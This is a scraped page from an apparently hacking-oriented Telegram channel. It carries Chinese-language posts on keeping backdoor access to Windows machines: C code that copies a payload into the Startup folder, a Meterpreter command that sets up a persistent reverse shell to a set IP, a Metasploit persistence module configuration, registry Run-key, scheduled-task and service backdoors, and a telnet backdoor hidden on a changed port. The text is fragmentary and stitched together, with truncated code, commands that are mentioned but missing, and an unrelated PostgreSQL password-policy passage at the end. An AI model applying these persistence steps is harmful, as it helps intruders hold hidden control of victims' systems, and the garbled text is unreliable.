网站破解权限 渗透劫持 黑客数据
5.01K subscribers
572 photos
1 video
51 links
Download Telegram
BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
{
BOOL ret = false;
CHAR szStartPath[MAX_PATH] = { 0 };
CHAR szDestFilePath[MAX_PATH] = { 0 };
//返回快速启动目录路径到szStartPath
ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
//判断是否获取成功
if (ret == TRUE)
{
printf("[+]Get the quick start directory successfully!\n");
}
else
{
printf("[!]Get the quick start directory faild!\n");
return FALSE;
}
//构造文件在快速启动目录下的路径
::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
//复制文件到快速启动目录下
ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
if (FALSE == ret)
{
printf("[!]Failed to save the file in the quick start directory.\n");
return FALSE;
}
注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限
如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为payload将在每次系统启动时执行,而与使用系统身份验证的用户无关。
1
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个payload,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该payload。
use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 2
set STARTUP USER
set LOCALEXEPATH C:\\tmp
run
另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系统上的可写位置。
SharPersist还通过RunOnce和RunOnceEx注册表项包含持久性功能。以下命令将在这些位置创建注册表项,这些注册表项将执行任意payload。
SharPersist还提供了使用另一个注册表位置进行持久化的选项(UserInitMprLogonScript)。
PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表项。
将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据特权级别,这些模块将尝试在以下注册表位置中安装base64payload:
HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
将在名称Updater下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下次登录时运行Debug密钥中存储的payload,以实现持久性。
Windows命令行实现定时任务主要有schtasks与at二种方式:

at 适用于windows xp/2003,schtasks适用于win7/2008或者以后

每五分钟执行一次
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
telnet是命令行下的远程登录工具,不过在服务器管理时使用不多也常为管理员所忽视。攻击者如果在控制一台服务器后,开启“远程桌面”进行远程控制非常容易被管理员察觉,但是启动Telnet进行远程控制却不容易被察觉。不过,telnet的默认端口是23,如果开启后,别人是很容易扫描到的,因此攻击者会更改telnet的端口,从而独享该服务器的控制权。
这其实也是psexec的原理:建立连接后创建服务反弹shell
我们在进行数据库的建立用户的操作,我们可以发现,当前的插件passwordcheck,已经工作,必须8位字符,且其中要求是字母+数字,或字母+特殊符号等。这个插件从一定的角度上避免了,设置的密码不符合一些要求和标准的情况。
使用强密码:这点说起来容易,做起来难。默认PostgreSQL建立用户是不会限制我们输入密码的字符数,和字符的组合难度。这里我们可以先使用PostgreSQL自带的passwordcheck插件来支持这个工作。为什么要使用这个插件,熟悉PostgreSQL的同学都清楚,一般PG的extension 部分都是针对逻辑库的,都需要在创建库后,加载,这个passswordcheck的好处就是,不需要,直接在配置文件该完,马上就可以应用,我们来看看。